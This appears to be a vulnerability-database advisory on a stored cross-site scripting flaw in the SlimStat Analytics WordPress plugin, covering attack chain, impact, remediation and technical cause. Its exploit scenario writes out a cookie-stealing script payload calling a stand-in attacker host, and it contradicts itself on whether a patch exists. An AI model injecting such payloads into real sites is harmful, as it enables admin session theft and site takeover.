EUVD-2026-32729
GHSA-xvg3-935w-4mv9
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconIdentify SlimStat-tracked WordPress site
-
DeliverySend HTTP request with malicious User-Agent header
-
ExploitTrigger redirect/AJAX path invoking Storage::updateRow()
-
InstallPayload persisted unsanitized in wp_slimstat table
-
C2Administrator opens Browsers report tooltip
-
ExecuteScript executes in admin session
-
ImpactHijack admin account or install backdoor
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the SlimStat Analytics 'show_complete_user_agent_tooltip' setting to be explicitly enabled by a WordPress administrator (it is disabled by default), and an administrator must subsequently view the SlimStat Browsers report in wp-admin for the stored payload to render. The injection itself needs only the ability to send an HTTP request with an attacker-controlled User-Agent header to any SlimStat-tracked page - no authentication, no user interaction beyond the admin later viewing their own report, and no special network position. Limiting factors: the non-default tooltip configuration shrinks the vulnerable population, the payload only fires in the admin Browsers report (not on the public site), and execution is gated on an admin actually opening that report. |
| Impact | The CVSS 7.2 vector AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N reflects an unauthenticated network-reachable injection with changed scope (attacker context → admin browser) and limited confidentiality/integrity impact, which is consistent with a stored XSS that fires inside the WordPress admin. Real-world risk is materially reduced by the precondition that the 'show_complete_user_agent_tooltip' option must be explicitly enabled by an administrator (off by default), so vulnerable deployments are a subset of installs. Exploitation status: no public exploit identified at time of analysis - no POC, EPSS, or KEV signal is included in the supplied data, and the finder (Wordfence, via researcher Supakiad S. / E-CQURITY) reported it through coordinated disclosure rather than as in-the-wild abuse. The UI:N rating in CVSS appears to count the admin viewing their own report as no interaction; defenders should note that an admin must actually open the Browsers report for the payload to fire, which is a practical (though weak) limiter. Overall this is a moderate-priority patch for sites that have enabled the tooltip option and a low-priority one for the default-configured majority. |
| Exploit ScenarioDerived | An attacker sends an HTTP request to any tracked page on the target WordPress site with a User-Agent header containing a JavaScript payload such as '<script>fetch("//attacker/?c="+document.cookie)</script>'; SlimStat records the visit and, on a follow-up redirect or AJAX event, Storage::updateRow() overwrites the sanitized row with the raw header. When a logged-in administrator later opens the SlimStat Browsers report on a site where 'show_complete_user_agent_tooltip' is enabled, the payload renders inside the tooltip and executes in the admin's authenticated browser context, enabling session theft, plugin/theme installation, or admin account takeover. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 28, 2026
Stored cross-site scripting in the SlimStat Analytics WordPress plugin (versions through 5.4.11) allows unauthenticated attackers to inject arbitrary JavaScript via the User-Agent request header, which is persisted unsanitized and later rendered inside the admin Browsers report tooltip. Exploitation requires the non-default 'show_complete_user_agent_tooltip' setting to be enabled by an administrator, after which any admin viewing the affected report executes the attacker's script. No public exploit identified at time of analysis and no EPSS or CISA KEV signal is provided in the supplied data.
RemediationAI
Vendor-released patch: upgrade SlimStat Analytics to version 5.4.12 (released 2026-05-13), which sanitizes the User-Agent at capture in Browscap::_get_user_agent(), mirrors insertRow()'s sanitize_text_field()/sanitize_url() handling inside Storage::updateRow(), and defangs admin tooltip output via wp_kses_post() in wp_slimstat_reports::inline_help() - see https://github.com/wp-slimstat/wp-slimstat/pull/297 and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/0a309bf8-7fe3-4033-993c-3c8dba0f216d. If immediate patching is not possible, the most effective workaround is to ensure the 'show_complete_user_agent_tooltip' option remains disabled (its default state), which prevents rendering of the stored payload at the cost of losing the full User-Agent tooltip in the Browsers report. As an additional compensating control, place the WordPress site behind a WAF rule that strips or rejects HTML/script-bearing User-Agent headers (trade-off: may break legitimate but unusual UAs and analytics fidelity), and audit the wp_slimstat database tables for previously stored payloads containing '<script', 'onerror=', or javascript: before re-enabling the tooltip.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
SlimStat Analytics is a self-hosted visitor analytics plugin for WordPress maintained by VeronaLabs (CPE cpe:2.3:a:veronalabs:slimstat_analytics). The plugin captures visitor metadata including the HTTP User-Agent header in Browscap::_get_user_agent() and persists it via the Tracker storage layer. Per the 5.4.12 fix, Storage::insertRow() already applied sanitize_text_field()/sanitize_url() on initial insertion, but Storage::updateRow() - invoked on redirect handling (Processor::updateContentType) and AJAX follow-up branches (Ajax::process navigation/outbound/event) - overwrote the row with the raw header, defeating the initial sanitization. The stored value was then concatenated into an admin tooltip span in wp_slimstat_reports::inline_help() (admin/view/wp-slimstat-reports.php line 2099) without output escaping, yielding a CWE-79 stored XSS that fires in the privileged WordPress admin context.
Know when Slimstat Analytics gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'User-Agent' header in all versions up to, and including, 5.4.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The show_complete_user_agent_tooltip setting must be explicitly enabled by an administrator (disabled by default) for the stored payload to be rendered and executed.
Executive ViewAI
SlimStat Analytics, a WordPress analytics plugin with significant market adoption, contains a stored cross-site scripting vulnerability allowing attackers to inject malicious code via User-Agent headers. While no public exploit has been identified at this time, the vulnerability is nevertheless critical: if the optional 'show_complete_user_agent_tooltip' feature is enabled, any administrator viewing analytics reports will automatically execute attacker-injected scripts, potentially leading to unauthorized admin account compromise, website takeover, and data exfiltration. Organizations using this plugin through version 5.4.11 require immediate mitigation to prevent site compromise.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable the 'show_complete_user_agent_tooltip' feature in SlimStat settings to prevent JavaScript rendering; (2) Restrict admin dashboard access by IP address and implement IP allowlisting; (3) Deploy WAF rules to detect and block User-Agent headers containing script tags or encoded payloads; (4) Monitor admin user activity logs for unauthorized access or code modifications; (5) Consider temporary plugin deactivation if business operations permit.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Slimstat Analytics
View allThe Slimstat Analytics plugin for WordPress is vulnerable to SQL Injection via the plugin's shortcode in versions up to,
The Slimstat Analytics WordPress plugin before 4.9.3.3 does not prevent subscribers from rendering shortcodes that conca
Stored cross-site scripting in the SlimStat Analytics WordPress plugin before 5.5.0 lets unauthenticated visitors inject
A vulnerability in VeronaLabs Slimstat Analytics wp-slimstat.0.4. Rated high severity (CVSS 8.8), this vulnerability is
Blind SQL injection in VeronaLabs Slimstat Analytics WordPress plugin through version 5.4.11 allows authenticated low-pr
The SlimStat Analytics plugin for WordPress contains a Stored Cross-Site Scripting vulnerability in the 'fh' (fingerprin
Unauthenticated deserialization of untrusted data in the Slimstat Analytics WordPress plugin (versions prior to 5.4.0) a
The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'filter_array' paramete
The Slimstat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'slimstat' shortcode in
The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the resource parameter in a
The wp-slimstat plugin before 4.8.1 for WordPress has XSS. Rated medium severity (CVSS 6.1), this vulnerability is remot
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor pat
Exploit-DB